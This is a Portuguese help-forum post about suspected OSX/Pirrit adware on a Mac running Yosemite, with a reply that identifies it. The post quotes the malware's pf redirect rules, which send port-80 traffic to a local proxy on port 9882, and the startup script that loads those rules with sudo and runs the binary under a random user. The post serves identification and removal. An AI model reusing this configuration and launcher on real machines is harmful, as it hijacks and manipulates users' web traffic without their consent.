Recentemente, comecei a perceber quando navego em uma página da Web no meu MBP 10.10.5 Yosemite que o Chrome Canary versão 53 estava abrindo uma nova guia ou algumas páginas não estavam abrindo ... essa guia estava me redirecionando para páginas aleatórias.
Ativei o Firewall e notei uma pseudo-hidrofobia chamada de processo tentando abrir uma conexão de entrada
/etc/pseudohydrophobia.conf
rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
pass out on en0 route-to lo0 inet proto tcp from en0 to any port 80 keep state
pass out proto tcp all user volutate
/etc/pseudohydrophobia.sh
#!/bin/sh
if [ -a /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia ];
then
sleep 10
sudo pfctl -evf /etc/pseudohydrophobia.conf
sudo -u volutate /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia
fi
exit 0
Portas:
netstat -an | grep 9882
tcp4 0 0 *.9882 *.* LISTEN
/etc/pseudohydrophobia.conf
rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
pass out on en0 route-to lo0 inet proto tcp from en0 to any port 80 keep state
pass out proto tcp all user volutate
Eu vou deletar todos esses scripts e binários, mas quero postar como não encontrei nenhuma referência do Google.
Dê uma olhada no link
Analysis of an Intrusive Cross-Platform Adware; OSX/Pirrit
Pode ser o malware da Pirrit.
O nome de usuário volutate e nomes de arquivos ( pseudohydrophobia ) são sem dúvida gerados aleatoriamente, mas o número de porta 9882 é o mesmo ...
Tags malware macos malware-removal